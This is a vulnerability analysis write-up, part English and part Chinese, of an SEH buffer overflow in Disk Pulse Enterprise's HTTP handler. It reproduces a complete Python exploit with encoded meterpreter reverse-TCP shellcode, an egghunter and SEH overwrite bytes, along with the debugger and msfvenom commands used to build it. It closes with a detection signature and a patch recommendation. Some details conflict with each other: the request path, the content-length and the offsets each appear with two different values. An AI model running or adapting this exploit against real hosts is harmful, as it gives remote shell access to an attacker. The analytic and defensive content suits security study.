How to implement vulnerability analysis of Disk Pulse Enterprise Window application

1. Vulnerability Introduction

Disk Pulse Enenterprise is a software that monitors disk changes. It can connect and manage the software through a management port 9120 or web management window 80 to monitor disk changes. There is a dynamic link library libspp.dll in Disk Pulse Enterprise, which contains some functions responsible for HTTP operations. The problem occurs in this dynamic link library. When processing the post data, because there is no strict length control on the post data, This leads to buffer overflow caused by copying data to invalid memory when executing the acquired data, triggering SEH abnormal behavior processing, and finally controlling EIP to execute arbitrary code.

Software download link: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)

Vulnerability disclosure address: https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits /40452)

2. Experimental environment

windows 7 x86: System environment

IDA pro: Static analysis tool

Immune Debugger: Dedicated debugger for vulnerability analysis

WinDbg: Vulnerability debugger

3. Vulnerability analysis

First take a brief look at the POC, which is a more comprehensive one Buffer overflow vulnerability. The SEH structured exception handler and egghunter technology are discussed in this article.

SEH Overview

Those familiar with programming may be familiar with Structured Exception Handling (SEH), a windowing mechanism for handling hardware and software exceptions. It is usually expressed as a try/catch block of try/divide sums.

Egghunter Overview

Simply put, it is an addressing technique that executes shellcode by designing a mark and jumping to the location of another mark. The egghunter technique is necessary when the shellcode cannot be stored in the buffer.

First, let’s analyze the POC

#!/usr/bin/python
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.46.160',80))

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
buf =  ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29"
buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45"
buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a"
buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3"
buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19"
buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8"
buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20"
buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1"
buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80"
buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66"
buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65"
buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e"
buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f"
buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5"
buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94"
buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10"
buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46"
buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18"
buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97"
buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96"
buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d"
buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2"
buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f"
buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b"
buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae"
buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b"
buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9"
buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c"
buf += "\x3b\x9a\x01\x65"

#pop pop ret 1001A333

nseh = "\xEB\x0B\x90\x90"
seh = "\x33\xA3\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

evil =  "POST /admin  HTTP/1.1\r\n"
evil += "Host: 192.168.46.160\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 21000\r\n\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1554
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

The attacker constructed an http request package. It can be seen that the post request, the url is /login, content-length: 17000. 12292 "\x41" bytes were sent, then "w00tw00t" 8 bytes were sent, then 20 "\x90" NOP bytes were sent, and then the buf was sent, plus 50 NOPs, 1614 "\ " All that's left is to fill the buffer.

Next we use Wen DBG to open the application with the vulnerable version.

Send the payload and trigger the vulnerability. Enter g, the return address is overwritten, and kb looks at the stack of calls.

The GetNextString function of SCA_HttpParser of libspp.dll is called here. Next, the program enters SHE abnormal behavior processing and reaches code execution by overwriting the SEH Handler.

Open IDA and analyze point 10092822. The SCA_HttpParse class in libspp is responsible for processing some HTTP-related operations. There is a function named ExtractPostData that is responsible for processing post-data. Set a breakpoint at the entrance of this function. The entry address of this function is 10092510

The sending buffer uses a substitute POC, triggering the vulnerability, as shown in the following figure:

Check the parameter transfer situation. The later data is passed in as the second parameter. Note that it is passed in completely.

Continue single-step tracking here and reach the GetNetString function mentioned before.

This function will do one thing, which is to split the first parameter, which is the later data, and separate each part for subsequent processing, step by step However, you can see that after entering GetNextString for the first time, the first data is split.

The user name is separated for the first time. Next, enter GetNextString again to start splitting the second string. This splitting process will perform a series of copy operations. .

这个LOC块负责拷贝，其中10092822地址就是触发漏洞的关键位置，ESI是待拷贝的缓冲区首地址，EDX是拷贝长度，CL是拷贝内容，这里是一个字一个字拷贝的。

因此，当超过开辟缓冲区大小的时候，就会引发向无效地址拷贝的问题。

看一下EDX + ESI的值，可以看到，后面已经超过了开辟缓冲区的大小，后面就是无效缓冲区了。

之后看一下ECX的值

CL就是将ECX的低地址一个字节一个字节拷贝，这里由于向无效地址拷贝，引发SEH异常处理，最后达到代码执行，来看一下伪代码。

再来看一下GetNextString函数的伪代码。

四、漏洞利用

首先发送poc，触发漏洞，使用免疫调试器，查看她链，被成功覆盖。

我们需要找到SHE的偏移量。

利用蒙娜丽莎命令生成20000个字符

！mona pattern_create 20000

运行完在C：\日志\ FTPServer的\ pattern.txt中找到。

重启程序，将其加入到脚本中的BUF中运行

使用蒙娜丽莎命令来寻找SEH偏移量

！mona findmsp

查看蒙娜丽莎的控制台输出，找到它的描述SHE偏移量的部分。

偏移量是14292。

接下来，要寻找pop pop ret的地址

使用！mona seh

打开seh.txt日志查找指向POP POP RET序列的代码块地址。

设置的shellcode里面的

nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”

利用msf生成通用的shellcode，命令如下

msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest

在POC中写入的shellcode，再写入过程中，要根据BUF的长度，修改后面偏移量的值。

重启程序，打开的Metasploit

选择开发模式

输入命令，设置参数

发送poc，触发漏洞，查看metasploit反应，输入shell，可以连到到存在漏洞主机的shell。

五、漏洞利用特征：

请求方式：POST

请求路径：/登录

漏洞特征：POST +任意路径+内容长度：> 14292+ | eb | +任意字节+ | 90 90 |

六、防御建议

升级应用程序，对应用程序打补丁或者下载新版本的应用程序，或者装载杀毒软件。

下载地址：https://www.diskpulse.com/downloads.html

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